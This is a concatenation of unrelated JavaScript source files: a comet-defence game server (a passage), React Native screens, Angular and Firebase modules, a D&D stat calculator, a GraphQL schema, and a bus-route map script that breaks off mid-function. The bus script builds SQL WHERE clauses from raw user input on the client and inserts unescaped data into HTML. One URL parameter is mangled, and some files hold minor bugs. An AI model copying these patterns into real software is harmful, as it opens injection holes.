explosionLocation[0] = missiles[id].mouseX
if (missiles[id].mouseY <= missiles[id].startY) {
explosionLocation[1] = missiles[id].mouseY
}
}
/* Creates different explosions based on missile type */
if (missiles[id].nukeSpecial) {
explosions[id] = {
x: explosionLocation[0],
y: explosionLocation[1],
id: id,
dmg: missiles[id].dmg,
radius: missiles[id].radius,
currentRadius: 0,
playerId: missiles[id].playerId,
durationLimit: 80,
startTick: 0
}
} else {
explosions[id] = {
x: explosionLocation[0],
y: explosionLocation[1],
id: id,
dmg: missiles[id].dmg,
radius: missiles[id].radius,
currentRadius: 0,
playerId: missiles[id].playerId,
durationLimit: 40,
startTick: 0
}
}
let time = explosions[id].durationLimit + 5;
let size = missiles[id].radius;
/* Deletes the missile */
delete missiles[id];
/* Updates client missiles & crosshairs */
io.emit('missileDestroyed', id, size, time);
io.emit('crosshairDestroyed', id);
} else if (missiles[id].x < -10 || missiles[id].x > 1290 || missiles[id].y < -10 || missiles[id].y > 730) {
/* Removes missiles that fly off screen */
delete missiles[id];
io.emit('missileDestroyed', id);
io.emit('crosshairDestroyed', id);
}
})
/* Updates clients with new missile positions */
io.emit('updateMissiles', missiles);
}
}
/* Updates comet position */
function updateComets() {
if (gameState == 'game') {
/* Calculate comet new position */
Object.keys(comets).forEach(id => {
if (comets[id] != undefined) {
comets[id].x = comets[id].x + comets[id].speedX;
comets[id].y = comets[id].y + comets[id].speedY;
}
})
/* Send new comet positions to clients */
io.emit('updateComets', comets);
}
}
/* Detects comet collisions with base */
function detectBaseCollisions() {
if (gameState == 'game') {
Object.keys(comets).forEach(cometId => {
if (comets[cometId] != undefined) {
/* Checks if comets hit base */
if (comets[cometId].y >= 600) {
/* Removes the comet and decreases the base's health by the comet's health */
numComets--;
let dmg = comets[cometId].dmg < comets[cometId].hp ? comets[cometId].dmg : comets[cometId].hp;
baseHealth -= dmg;
comets[cometId] = undefined;
if (baseHealth > 0) {
/* The base is still alive, update clients with new base health */
io.emit('updateBase', [cometId, baseHealth]);
} else {
/* The base is destroyed, send game info to the clients for the end scene */
cometsDestroyedStats = [];
Object.keys(players).forEach(playerId => {
cometsDestroyedStats.push({
name: players[playerId].name,
cometsDestroyed: players[playerId].cometsDestroyed
})
})
io.emit('gameOver', {
round: round,
score: score,
cometsDestroyedStats: cometsDestroyedStats
});
io.emit('gameFinished');
/* Reset game state values */
clearGame();
}
}
}
})
}
}
/* Helper function to destroy comets and award credits */
function destroyComet(cometId, awardPlayerSocketID) {
/* Awards credits/increments score */
if (players[awardPlayerSocketID] != undefined) {
players[awardPlayerSocketID].credits += comets[cometId].credits;
players[awardPlayerSocketID].cometsDestroyed++;
io.to(awardPlayerSocketID).emit('updateCredits', players[awardPlayerSocketID].credits);
}
score += comets[cometId].credits;
io.emit('updateScore', score);
numComets--;
/* Create an exposion where the comet was */
explosions[cometId + 'comet'] = {
x: comets[cometId].x,
y: comets[cometId].y,
id: cometId + 'comet',
dmg: comets[cometId].dmg,
radius: comets[cometId].radius,
currentRadius: 0,
playerId: awardPlayerSocketID,
durationLimit: comets[cometId].durationLimit,
startTick: 0
}
let size = comets[cometId].radius;
let time = comets[cometId].durationLimit + 5;
/* Remove the comet from client screens */
comets[cometId] = undefined;
io.emit('cometDestroyed', cometId, size, time);
}
/* Checks for explosion collisions with comets */
function explosionDamage() {
if (gameState == 'game') {
Object.keys(explosions).forEach(explosionId => {
Object.keys(comets).forEach(cometId => {
if (comets[cometId] != undefined && explosions[explosionId] != undefined) {
/* Calculates distance between a valid comet and a valid explosion */
let dist = distance(comets[cometId].x, comets[cometId].y, explosions[explosionId].x,
explosions[explosionId].y);
/* If comet is within explosion distance, decrease the comet health and destroy it if appropriate */
if (dist < explosions[explosionId].currentRadius && !(explosionId in comets[cometId])) {
comets[cometId].hp -= explosions[explosionId].dmg;
comets[cometId][explosionId] = true;
if (comets[cometId].hp <= 0 || comets[cometId].x < -10 || comets[cometId].x > 1290 || comets[cometId].y < -10 || comets[cometId].y > 730) {
destroyComet(cometId, explosions[explosionId].playerId);
}
}
}
})
/* Calculates explosion radius/duration */
explosions[explosionId].startTick++;
if (explosions[explosionId].currentRadius < explosions[explosionId].radius) {
let increment = explosions[explosionId].radius / explosions[explosionId].durationLimit;
explosions[explosionId].currentRadius += increment;
}
if (explosions[explosionId].startTick > explosions[explosionId].durationLimit + 5) {
delete explosions[explosionId];
}
})
}
}
/* Function to increase difficulty */
function increaseDifficulty() {
cometLimit += 10;
if (cometRate >= 600) {
cometRate -= 100;
}
if (round % 3 == 0 && cometHealth < 5) {
cometHealth++;
} else if (cometHealth == 5) {
ultimateComet = true;
}
if (round % 2 == 0 && cometSpeed < 4.5) {
cometSpeed += 0.25;
}
/* Updates users in debug mode */
io.emit('cometLimitChange', cometLimit);
io.emit('cometRateChange', cometRate);
io.emit('cometHealthChange', cometHealth);
io.emit('cometSpeedChange', cometSpeed);
}
/* Clears/resets all game values */
function clearGame() {
/* Clears all game objects except for the players */
gameState = 'end';
Object.keys(missiles).forEach(missileId => {
delete missiles[missileId];
});
Object.keys(comets).forEach(cometId => {
delete comets[cometId];
});
Object.keys(explosions).forEach(explosionId => {
delete explosions[explosionId];
});
/* Resets game values to initial values */
round = initialRound;
numComets = initialNumComets;
baseHealth = initialBaseHealth;
missileId = initialMissileId;
timer = initialTimer;
roundOver = initialRoundOver;
score = initialScore;
gameState = initialGameState;
cometLimit = initialCometLimit;
cometRate = initialCometRate;
cometHealth = initialCometHealth;
cometSpeed = initialCometSpeed;
ultimateComet = initialUltimateComet;
}
|
import React, {Component} from 'react';
import {AppRegistry, StyleSheet, Text, View, Button} from 'react-native';
import { StackNavigator } from 'react-navigation';
import CheckBox from 'react-native-checkbox';
import { SearchBar } from 'react-native-elements'
export default class SearchComponent extends Component{
static navigationOptions = {
title: 'Search Location and Foods',
};
render(){
const { navigate } = this.props.navigation;
return(
<View style={styles.container}>
<Text style={styles.textAayur}>AAYUR</Text>
<View style={styles.locationContainer}>
<SearchBar style={styles.button}
placeholder='Select your location' />
<Button style={styles.button}
onPress={() => navigate('MapScreen')}
title="Search"/>
</View>
<View style={styles.locationContainer}>
<SearchBar style={styles.button}
placeholder='Select your favourite food type' />
<Button
onPress={() => navigate('MapScreen')}
title="Select"
style={styles.button}/>
</View>
<CheckBox
label='Send Request'
onChange={(checked) => console.log('I am checked', checked)}/>
<Button
onPress={() => navigate('RecommenderAlertScreen')}
title="Go to Recommender page"
style={styles.button}/>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'space-between',
backgroundColor: '#F5FCFF',
},
locationContainer: {
flexDirection: 'column',
width: 350
},
button: {
textAlign: 'center',
padding: 10
},
textAayur: {
fontSize: 20,
textAlign: 'center',
},
searchContainer: {
justifyContent: 'space-between',
borderRadius: 10,
width: 350
}
});
AppRegistry.registerComponent('SearchComponent', () => SearchComponent);
|
export default class Rect{
body=null;
clickHandlers=[];
option=null;
position=[];
id=null;
_active=false;
constructor(jsonObj){
const _self=this;
this.body=jsonObj.svg.append("g");
this.body.attr("class","tag "+jsonObj.type);
this.option=jsonObj.option;
this.id=jsonObj.option.id;
const rect=this.body.append("rect");
rect.attr("width",120)
.attr("height",60)
.attr("class","rect")
.attr("stroke","rgba(95,135,205,0.3)")
.attr("stroke-width","2")
.attr("fill","#fff");
/*
.attr("rx",15)
.attr("ry",15);
*/
const text=this.body.append("text");
text.text(jsonObj.option.name)
.attr("alignment-baseline","left")
.attr("text-anchor","left")
.attr("class","str")
.attr("fill","#666")
.attr("x",10)
.attr("y",20);
const text2=this.body.append("text");
text2.text(jsonObj.option.value)
.attr("alignment-baseline","left")
.attr("text-anchor","left")
.attr("class","num")
.attr("fill","rgba(95,135,205,1)")
.attr("x",10)
.attr("y",42);
if(jsonObj.type=="target"){
rect.attr("stroke","#ddd")
.attr("fill","#efefef")
.attr("stroke-width","2")
}
if(jsonObj.hover!=false){
this.body.on("mouseover",()=>{
rect.attr("fill","rgba(95,135,205,0.5)")
text.attr("fill","#fff")
text2.attr("fill","#fff")
});
this.body.on("mouseout",()=>{
_self._updateUI();
});
}
this.rect=rect;
this.text=text;
this.text2=text2;
this.body.on("click",()=>{
for(var i=0;i<_self.clickHandlers.length;i++){
_self.clickHandlers[i](jsonObj.option);
}
});
}
_updateUI(){
if(this._active){
this.rect.attr("fill","rgba(95,135,205,1)")
this.text.attr("fill","#fff")
this.text2.attr("fill","#fff")
}else{
this.rect.attr("fill","#fff")
this.text.attr("fill","#666")
this.text2.attr("fill","rgba(95,135,205,1)")
}
}
destroy(){
this.body.remove();
}
setPosition(x,y){
this.position=[x,y];
this.body.style("transform","translate("+x+"px,"+y+"px)")
}
active(status){
this._active=status;
this._updateUI();
}
onClick(handler){
this.clickHandlers.push(handler);
}
}
|
export const signUpRequest = (signUpData) => ({
type: "SIGN_UP_REQUEST",
user: signUpData,
});
export const signInRequest = (signInData) => ({
type: "SIGN_IN_REQUEST",
user: signInData,
});
export const logOut = () => ({
type: "LOGOUT_REQUEST",
});
export const signInSuccess = ()=>({
type : "SIGN_IN_SUCCESS",
})
|
module.exports = process.env.BEP15_COV ? require('./lib-cov/bep15') : require('./lib/bep15');
|
'use strict';
angular.
module('oprum').
config(['$routeProvider',
function config($routeProvider) {
$routeProvider
.when('/', {
templateUrl: '/apps/oprum/views/login.html',
controller: 'loginController'
})
.otherwise('/');
}
]);
|
/*
* @Description: vuex 方法
* @version: 0.1.0
* @Author: wsw
* @LastEditors: wsw
* @Date: 2019-04-24 15:30:54
* @LastEditTime: 2019-04-24 15:54:36
*/
import request from './request'
import common from '../utils/common.es'
export default {
// 获取配置文件
async loadConfig ({ state }) {
let urls = [
'./static/config/map.config.js',
'./static/config/symbol.config.js',
'./static/config/layer.tree.config.js'
]
let res = await request.requestAll(urls)
let arr = []
res.forEach(element => {
arr.push(element.data)
})
return arr
},
// 获取显示模板
async getTemplate ({ state }, templateName) {
let url = `./popwindow/${templateName}.html`
let data = await request.request(url)
return data
},
// 通用数据获取方法
async queryParamTable ({ state }, { tag, param }) {
let methodName = tag // 'QueryTable'
let url = `${state.config.services.baseServiceUrl}/DataService.svc/` + methodName
// 拼接URL
let data = await request.request(url, {
data: param,
method: 'post',
withCredentials: false
})
let res = common.convertTable2objects(data[methodName + 'Result'])
return res || []
}
}
|
import React, { Component } from 'react';
export default class FinishedIcon extends Component {
render() {
let {finished} = this.props;
return (
finished ?
<div className="finished-icon"><i className="green-check fas fa-check"></i> Task Complete!</div>:
<div className="finished-icon"><i className="red-check far fa-calendar"></i> Working on it...</div>);
}
}
|
import React, { Component } from 'react';
import {
View,
Text,
TouchableHighlight,
StyleSheet,
ScrollView,
} from 'react-native';
import Icon from 'react-native-vector-icons/Ionicons';
import colors from '../styles/colors';
export default class InboxContainer extends Component {
static navigationOptions = {
tabBarLabel: 'INBOX',
tabBarIcon: ({ tintColor }) => (
<Icon
name = "ios-archive"
size = {25}
color = {tintColor}
/>
),
};
render() {
return(
<View style = {styles.wrapper}>
<ScrollView style = {styles.scrollView}>
<Text style = {styles.heading}>Inbox</Text>
</ScrollView>
<TouchableHighlight style = {styles.startExploringButton}>
<Text style = {styles.startExploringButtonText}>Start Exploring</Text>
</TouchableHighlight>
</View>
);
}
};
const styles = StyleSheet.create({
wrapper: {
display: 'flex',
backgroundColor: colors.white,
},
scrollView: {
height: '100%',
},
heading: {
fontSize: 30,
fontWeight: '600',
marginBottom: 40,
color: colors.gray04,
marginTop: 70,
paddingLeft: 20,
paddingRight: 20,
},
startExploringButton: {
position: 'absolute',
justifyContent: 'center',
height: 45,
width: '100%',
bottom: 0,
borderRadius: 3,
backgroundColor: colors.pink,
},
startExploringButtonText: {
color: colors.white,
textAlign: 'center',
fontWeight: '600',
},
});
|
/*Goal: Generates a stat block for a DND character (e.g. hp, melee attack, saves, initiative, AC, skill points)
based on inputted name,character class,character level, and attributes
*/
//load prompt module
//var prompt = require('prompt');
//generate ability score modifier
function abilityscoremodcalc(score){
return Math.floor((score-10)/2);
}
//calculate base numbers for character HP, BAB, Saves and skills based on class and level
function characterbasecalculator(charclass,level){
//object defining key char stats to return
var characterbasestats = {};
//object defining base stats based on level and class quality (E.g. each class has some level, from bad to mediocre, in each stat)
var baseattributeclasslevellookup = {
HP: {
Bad: 4,
Mediocre: 6,
Okay: 8,
Good: 10,
Great: 12
},
BAB: {
Bad:function(x){return Math.floor(x/2)},
Medium: function(x){return Math.floor(x*3/4)},
Good: function (x){return x;}
},
Saves:{
Bad:function(x){return Math.floor(x*.3);},
Good:function(x){return Math.ceil(x*.6);}
},
Skillpoints:{
Bad: function(level){return (level+3)*4;},
Mediocre: function(level){return (level+3)*6;},
Okay: function(level){return (level+3)*8;},
Good: function(level){return (level+3)*10;},
Great: function(level){return (level+3)*12;}
}
}
//object defining quality level of each stat for each class
var classqualities = {
Bard: {HP:'Mediocre',Skillpoints:'Mediocre',BAB:'Medium',Fort:'Bad',Ref:'Good',Will:'Good'}
/*Barbarian:{HP:Great,Skillpoints:Bad,BAB:Good,}
Cleric:{HP:}
Druid:{}
Rogue:{}
Ranger:{}
Wizard:{}
Sorcerer:{}
Fighter:{}
Monk:{}
Paladin:{} */
}
//function that calculates a characters stat if the stat is gradated (like HP)
function calculatenongradatedskill(statname,charclass,level){
return baseattributeclasslevellookup[statname][classqualities[charclass][statname]] * level;
}
//function that calculates a characters stat if the stat is not gradated (like Skills)
function calculategradatedskill(statname,charclass,level){
if (['Fort','Ref','Will'].indexOf(statname) !== -1) {savename =statname; statname = "Saves";} else {savename = statname; }
console.log(statname); console.log(baseattributeclasslevellookup[statname][classqualities[charclass][savename]])
return baseattributeclasslevellookup[statname][classqualities[charclass][savename]](level);
}
//defines which starts are gradated and which not
var gradatedornotgradated = {HP:'nongradated',BAB: 'gradated',Saves: 'gradated',Skillpoints: 'gradated'}
var tocalculate = ['HP','BAB','Fort','Ref','Will','Skillpoints'];
//calculates stats
for (var i in tocalculate){
var statname = tocalculate[i];
if (gradatedornotgradated[statname] === "nongradated"){
characterbasestats[statname] = calculatenongradatedskill(statname,charclass,level);
} else {
characterbasestats[statname] = calculategradatedskill(statname,charclass,level);
}
}
//returns class base scores object with character stats
return characterbasestats;
}
//helper function that takes an object and returns a new object after applying a function func to values
function valuestransform(originalobject,func){
var newobj = {};
for (var i in originalobject){
newobj[i] = func(originalobject[i]);
}
return newobj;
}
//takes a characterstatblock and an attribute block and returns a new stat block with stats adjusted based on attribute score
function addatrributeeffects(characterstats,attributescores){
attributemodifiers = valuestransform(attributescores,abilityscoremodcalc);
var transformedcharacterstats = {};
//maps stat to ability score that modifies it
var stattoabilitythatchangesit =
{ HP: 'Con',
Skillpoints: 'Int',
Fort: 'Con',
Ref: 'Dex',
Will:'Wis',
BAB:'Str'
};
//returns new stat score based on ability score
function modifystatbasedonattr(oldstatscores,statname){
return oldstatscores[statname] + attributemodifiers[stattoabilitythatchangesit[statname]];
}
//loop runs modify stat based on ability score on all stats in old stat block, saves to new stat block to return
for (var stat in characterstats){
transformedcharacterstats[stat] = modifystatbasedonattr(characterstats,stat)
}
//adds Ac based on dex
transformedcharacterstats.AC = 10 + attributemodifiers['Dex'];
//adds melee and ranged ABs based on STR and DEX, respectively
transformedcharacterstats.MeleeAB = transformedcharacterstats.BAB + attributemodifiers['Str'];
transformedcharacterstats.RangedAb = transformedcharacterstats.BAB + attributemodifiers['Dex'];
return transformedcharacterstats;
}
//adds equipment effects to character stats, based on inputted descriptor of equipment quality
function addequipment(equipmentquality,statswithoutequipment){
var statswithequipment = statswithoutequipment;
if (equipmentquality==="Good"){
statswithequipment.AC += 4;
statswithequipment.RangedWeapon = "Longbow";
statswithequipment.RangedDamage = "1d8";
statswithequipment.MeleeWeapon = "Longsword";
statswithequipment.RangedDamage = "1d8";
} else if (equipmentquality=="Bad") {
statswithequipment.AC += 2;
statswithequipment.RangedWeapon = "Shortbow";
statswithequipment.RangedDamage = "1d6";
statswithequipment.RangedWeapon = "Shortsword";
statswithequipment.RangedDamage = "1d6";
}
return statswithequipment;
}
//returns character based on inputted class, level, attributes and equipment quality
function createcharacter(name,charclass,level,attributes,equipmentquality){
var characterbasestats = characterbasecalculator(charclass,level);
var statsmodifiedbasedonattributes = addatrributeeffects(characterbasestats,attributes);
var finalstats = addequipment(equipmentquality,statsmodifiedbasedonattributes)
finalstats.name = name;
return finalstats;
}
//// TESTS (WILL EXPAND THIS)
var jake = characterbasecalculator('Bard',14);
console.log(createcharacter('Jake','Bard',14,{Str:16,Dex:26,Con:14,Int:12,Wis:10,Cha:11},"Good"));
console.log(addatrributeeffects(jake,{Str:16,Dex:26,Con:14,Int:12,Wis:10,Cha:11}));
|
import React, { Component } from 'react'
import {
View,
Modal,
Text,
TouchableHighlight,
Stylesheet
} from 'react-native'
export default class Modals extends Component{
state = {
modalVisible: false
}
render() {
return (
<View style={{marginTop: 22,flexDirection:'row'}}>
<Modal animationType="slide"
transparent={false}
visible={this.state.modalVisible}
onRequestClose={() => {
alert('Modal has been closed.');}}>
<View style={styles.modal}>
<Text style={styles.modal_text}>Opener? I hardly knew her</Text>
<TouchableHighlight
onPress={() => {
this.setModalVisible(!this.state.modalVisible);
}}>
<Text>Hide Modal</Text>
</TouchableHighlight>
</View>
</Modal>
<TouchableHighlight
onPress={() => {
this.setModalVisible(true);
}}>
<Text>Open er up brother!</Text>
</TouchableHighlight>
</View>
);
}
setModalVisible(visible){
console.log('opening', this.state.modalVisible)
this.setState({modalVisible: visible});
}
}
const styles= {
modal:{
borderRadius:15,
width: 80,
marginTop:22
},
modal_text:{
textAlign:'center'
}
}
|
function solve(sentence) {
let regex = /\b_[A-Za-z0-9]+\b/g;
let matchedWords = [];
let match = sentence.match(regex);
matchedWords.push(match.map(match => {
match = match.substring(1, match.length);
return match;
}));
console.log(matchedWords.join(','));
}
solve(`The _id and _age variables are both integers.`);
|
(function() {
'use strict';
angular.module('app')
.factory("Event", function($firebaseArray, $stateParams, $firebaseObject, FURL) {
var eventId = $stateParams.id;
var eventRef = new Firebase(FURL + "events");
return $firebaseObject(eventRef.child(eventId));
})
.factory('EventsService', function($firebaseArray, $firebaseObject, FURL) {
var ref = new Firebase(FURL);
return {
getEvents: function() {
return $firebaseArray(ref.child('events'));
},
getEvent: function(eventId) {
return $firebaseObject(ref.child('events').child(eventId));
}
}
})
.controller('EventCtrl', EventCtrl);
function EventCtrl($state, $ionicHistory, $stateParams, Event, $scope, EventsService) {
var eventId = $stateParams.id;
$scope.event = EventsService.getEvent(eventId);
// $scope.event = Event;
// console.log(Event);
$scope.refresh = function() {
$scope.event = EventsService.getEvent(eventId);
console.log(Event);
//Stop the ion-refresher from spinning
$scope.$broadcast('scroll.refreshComplete');
};
}
})();
|
// server.js mock server
const jsonServer = require('json-server');
const db = require('./db.js');
const routes = require('./routes.js');
const port = 4000;
const server = jsonServer.create();
const router = jsonServer.router(db);
const middlewares = jsonServer.defaults();
const rewriter = jsonServer.rewriter(routes);
server.use(middlewares);
server.use((resquire,res,next)=>{
require.method = 'GET';
next();
})
server.use(rewriter);
server.use(router);
server.listen(port,()=>{
console.log(`open mock server at localhost:${port}`);
})
|
const {
GraphQLObjectType,
GraphQLString,
GraphQLBoolean,
GraphQLInt,
GraphQLSchema,
GraphQLList,
GraphQLNonNull,
GraphQLInputObjectType
} = require('graphql')
const {
getById,
getListById,
insertDocument
} = require('./resolvers')
//
// Types
//
const UserType = new GraphQLObjectType({
name: 'User',
fields: () => ({
_id: {type: GraphQLString},
nickName: {type: GraphQLString},
firstName: {type: GraphQLString},
lastName: {type: GraphQLString},
created: {
type: new GraphQLList(TodoType),
resolve(parentValue, args) {
return getListById(parentValue._id, 'todos').then(data => data)
}
}
})
})
const TodoType = new GraphQLObjectType({
name: 'Todo',
fields: () => ({
_id: { type: GraphQLString },
title: { type: GraphQLString },
description: { type: GraphQLString },
done: { type: GraphQLBoolean },
duration: { type: GraphQLInt },
creationTimeStamp: { type: GraphQLInt },
creatorId: { type: GraphQLString },
creator: {
type: UserType,
resolve(parentValue, args) {
return getById(parentValue.creatorId, 'users').then(user => user)
}
}
})
})
//
// RootQuery
//
const RootQuery = new GraphQLObjectType({
name: 'RootQueryType',
fields: {
todo: {
type: TodoType,
args: { id: { type: GraphQLString } },
resolve(parentValue, args) {
return getById(args.id, 'todos').then(data => data)
}
},
user: {
type: UserType,
args: { id: { type: GraphQLString } },
resolve(parentValue, args) {
return getById(args.id, 'users').then(data => data)
}
}
}
})
//
// Mutations
//
const TodoInput = new GraphQLInputObjectType({
name: 'Todo',
fields: {
title: { type: GraphQLString },
description: { type: GraphQLString },
done: { type: GraphQLBoolean },
duration: { type: GraphQLInt },
creationTimeStamp: { type: GraphQLInt },
creatorId: { type: GraphQLString }
}
})
const mutation = new GraphQLObjectType({
name: 'Mutation',
fields: {
addTodo: {
type: TodoInput,
args: {
title: { type: new GraphQLNonNull(GraphQLString) },
description: { type: new GraphQLNonNull(GraphQLString) },
done: { gtype: new GraphQLNonNull(GraphQLBoolean) },
duration: { type: GraphQLInt },
creationTimeStamp: { type: new GraphQLNonNull(GraphQLInt) },
creatorId: { type: new GraphQLNonNull(GraphQLString) }
},
resolve(parentValue, args) {
console.log("resolve -> args", args)
return insertDocument().then(d => d)
}
}
}
})
module.exports = new GraphQLSchema({
query: RootQuery,
mutation
})
|
export { default } from './PageaddcontractrelationRouter';
|
// export const analyticsData = [
// {
// id: 1,
// country: "USA",
// population: "320,000,000",
// language: "English",
// states: [
// {
// id: 678,
// state: "Indiana",
// population: 3000000,
// jobs: 12364
// },
// {
// id: 980,
// state: "Texas",
// population: 5000000,
// jobs: 17364
// },
// {
// id: 345,
// state: "Arkansas",
// population: 2500000,
// jobs: 8364
// },
// ],
// },
// {
// id: 2,
// country: "China",
// population: "2,320,000,000",
// language: "Chinese",
// provinces: [
// {
// id: 678,
// province: "Beijing Municipality",
// population: 12647890,
// jobs: 65786,
// },
// {
// id: 5435,
// province: "Tianjin Municipality",
// population: 16898899,
// jobs: 34678,
// },
// {
// id: 9809,
// province: "Hebei Province",
// population: 8536489,
// jobs: 23879,
// }
// ]
// },
// {
// id: 3,
// country: "Mexico",
// population: "320,000,000",
// language: "Spanish",
// cities: [
// {
// id: 234,
// city: "Mexico City",
// population: 8465987,
// jobs: 4576
// },
// {
// id: 879,
// city: "Juarez",
// population: 1465987,
// jobs: 576
// },
// {
// id: 368,
// city: "Tijuana",
// population: 765987,
// jobs: 1576
// }
// ]
// },
// ];
|
/// <reference path="jquery-1.8.2.js" />
var chepic = null;
var lines = null
var counter = 0;
var timerId = null;
//
var whereList = new Array();
var points = new Array();
var globaldata;
var temppoint; // 全局变量用来保存原来的点的位置
function SearchStation(which) {
var roadline = $("#roadline").val();
var roadname = $("#roadname").val();
var registrationmark = $("#registrationmark").val();
if (which == "station") {
window.location.href = "ShowData.aspx?which=station&roadline=" + roadline + "&roadname=" + roadname;
}
else if (which == "ad") {
window.location.href = "ShowData.aspx?which=ad&roadline=" + roadline + "®istrationmark=" + registrationmark;
}
//$("#needShow").show();
//$("#BtnSearch").click();
}
function sStation() {
// $("#needShow").show();
var roadline = $("#roadline").val();
var roadname = $("#roadname").val();
var html = "";
var url = "Handler.ashx?Method=station&roadline=" + roadline + "&roadname=" + roadname;
$.get(url, function (data) {
var data = $.parseJSON(data);
var jdata = data.data;
if (jdata.length > 0) {
for (var i = 0; i < jdata.length; i++) {
html += "<li ><a href='StationBrand.aspx?TypeLine=Line&StopId=" + jdata[i].StopId + "' target='_blank'><p style='line-height:20px'>";
html += ' <span style=" color:Orange">站名：' + jdata[i].StationName + '</span><br /><span>环域：' + jdata[i].Area + '</span> <span>区属：' + jdata[i].District + '</span><br /><span>路名：' + jdata[i].RoadName + '</span><br /><span>线路：' + jdata[i].RoadLine + '<%#Eval("RoadLine")%></span> <span>方向：' + jdata[i].PathDirection + '</span><br /><span>站址：' + jdata[i].StationAddress + '<%#Eval("StationAddress")%></span><br /><span>并线：' + jdata[i].lineList + '</span><br />';
html += "</p></a>";
}
}
else {
alert("无查询数据！");
}
//$("#busCount").text(data.BusCount);
$("#showStation").html(html);
});
}
function searchDir() {
if ($("#slRoadLine").val() != "") {
$("#ToDirection").empty();
var options = "<option value=''></option>";
var str_where = "RoadLine='" + $("#slRoadLine").val() + "'";
var jsondata = '{table_name:"tblRoadBaseInfo",str_field:"ToDirection",str_where:"' + str_where + '"}';
var rqurl = '../WebService.asmx/GetFieldByWhere';
var callbackdata = Jquery_Ajax(jsondata, rqurl, false);
var Jsonstr = eval('(' + callbackdata + ')');
var item = Jsonstr.d;
if (item == null) {
return false;
}
for (var i = 0; i < item.length; i++) {
options += "<option value=" + item[i] + ">" + item[i] + "</option>";
}
$(options).appendTo("#ToDirection");
}
}
//通过路线名称 行驶方向 查找路线
function SearchRoadLine(dir) {
//如果查询结果部分是关闭的则在这里打开
var RoadLine = "";
var ToDirection = "";
if (window.location.search != "" && window.location.search != null) {
RoadLine = getQueryString("slRoadLine");
//方向
// ToDirection = getQueryString("ToDirection");
ToDirection = dir;
}
else {
alert("无效参数");
return false;
}
// $("#sslk").attr("checked", false);
var TotalDiv = ""; //统计数据
//线路名
if (RoadLine == "") {
window.alert("参数无效!");
return false;
}
if (ToDirection == "") {
window.alert("参数无效!");
return false;
}
if (ToDirection == "up") {
$("#up").removeClass("colorGray");
$("#down").addClass("colorGray");
}
else {
$("#up").addClass("colorGray");
$("#down").removeClass("colorGray");
}
points = new Array();
var jsondata = '{RoadLine:"' + RoadLine + '",ToDirection:"' + ToDirection + '"}';
var rqurl = '../WebService.asmx/getRoadLineInfoByRoadLineForMobile';
var callbackdata = Jquery_Ajax(jsondata, rqurl, false);
var Jsonstr = $.parseJSON(callbackdata);
var item = $.parseJSON(Jsonstr.d);
if (item == null || item == "") {
alert('当前路线不存在！');
return false;
}
$("#rd").html(item.RoadLine);
removeAllOverlays();
globaldata = item;
var tbl_temp = "";
var k = 0;
$("#result").hide();
/*---将得到的地图数据放入表格中---*/
for (var j = 0; j < item.StationPointInfos.length; j++) {
var strLatLon = item.StationPointInfos[j].StrLatlon;
var labl = item.StationPointInfos[j].PointName; //标签点的名称
var SETime = item.StationPointInfos[j].SETime; //首末班车时间
if (j == item.StationPointInfos.length - 1) {
var RoadNum = item.RoadNum; //路线总数
var BrandNum = item.BrandNum; //站牌总数
var RoadCount = 0;
if (item.RelationsRoadLine != null && item.RelationsRoadLine != "") {
RoadCount = item.RelationsRoadLine.length
}
}
if (strLatLon != "") {
var lat = item.StationPointInfos[j].StrLatlon.split(',')[0]; //经度
var lon = item.StationPointInfos[j].StrLatlon.split(',')[1]; //纬度
var point = new MPoint(lat, lon); //坐标
marker = new MMarker(point, new MIcon("../icons/1/icon_03.png", 8, 8));
marker.setLabel(new MLabel(labl), true); //添加标签
marker.label.setVisible(false)//隐藏标签
////
var lineList = item.StationPointInfos[j].LineList.split("、");
var strlineList = "";
for (var i = 0; i < lineList.length; i++) {
if (strlineList != "") {
// strlineList += "、<a href='javascript:;' style='text-decoration: none;' onclick='javascript:searchroadline(\"" + lineList[i] + "\",\"" + item.StationPointInfos[j].StopId + "\",\"" + strLatLon + "\")'>" + lineList[i] + "</a>"
strlineList += "、" + lineList[i];
} else {
// strlineList += "<a href='javascript:;' style='text-decoration: none;' onclick='javascript:searchroadline(\"" + lineList[i] + "\",\"" + item.StationPointInfos[j].StopId + "\",\"" + strLatLon + "\")'>" + lineList[i] + "</a>"
strlineList += lineList[i];
}
}
var CaptionNumberInfo = getCaptionNumberInfo(item.StationPointInfos[j]);
var str_div = "<div class='RoundedCorner' style='font-size:12px; width:240px;'>"
+ "<table id='tablereg'><tr><td style='width:60px'>站址：</td><td >" + item.StationPointInfos[j].Address + "</td></tr><tr><td>并线：</td><td>" + strlineList + "</td></tr>"
+ "<tr ><td style='width:80px;'>设施编号：</td><td>" + CaptionNumberInfo + "</td></tr>"
+ "</tr></table>"
+ "</p><b class='rbottom'><b class='r4'></b><b class='r3'></b><b class='r2'></b><b class='r1'></b></b><div style='display:none;'>[" + labl + "]<div></div>";
marker.info = new MInfoWindow("当前站点:" + labl, str_div, "20px", "20px");
var linkecolor = "Black";
var backgroundimage = "";
if (j == 0) {
marker.setIcon(new MIcon("../icons/起点.png", 16, 16), true);
linkecolor = "Red";
backgroundimage = "background-image: url(\"image/point.png\");background-repeat: no-repeat;";
}
else if (j == item.StationPointInfos.length - 1) {
marker.setIcon(new MIcon("../icons/终点.png", 16, 16), true);
linkecolor = "Blue";
}
MEvent.addListener(marker, "click", function (omarker) {
omarker.openInfoWindow();
});
MEvent.addListener(marker, "mouseover", function (mk) {
if (mk.label) mk.label.setVisible(true);
})
MEvent.addListener(marker, "mouseout", function (mk) {
if (mk.label) mk.label.setVisible(false);
})
points.push(marker);
if (k == 0) {
maplet.addOverlay(marker);
}
}
else {
}
}
//用于存放当前点的集合的数组
var strlinelatlon = "";
if (item.LineLatLon != undefined) {
var points_temp = new Array();
var LineLatLon = item.LineLatLon.split(';')
for (var i = 0; i < LineLatLon.length; i++) {
if (LineLatLon[i] != null && LineLatLon[i] != "" && LineLatLon[i] != undefined) {
if (i > 0) {
strlinelatlon += ";" + LineLatLon[i];
}
else {
strlinelatlon += LineLatLon[i];
}
var lat = LineLatLon[i].split(',')[0];
var lon = LineLatLon[i].split(',')[1];
var point = new MPoint(lat, lon);
points_temp.push(point);
}
}
//将地图移动到中心位置
var lat = item.CenterPoint.split(',')[0];
var lon = item.CenterPoint.split(',')[1]
maplet.centerAndZoom(new MPoint(lat, lon), 10);
$("#linecenter").attr("value", item.CenterPoint);
//创建笔刷将所有的点连接起来
var brush = new MBrush();
brush.arrow = false;
brush.stroke = 4;
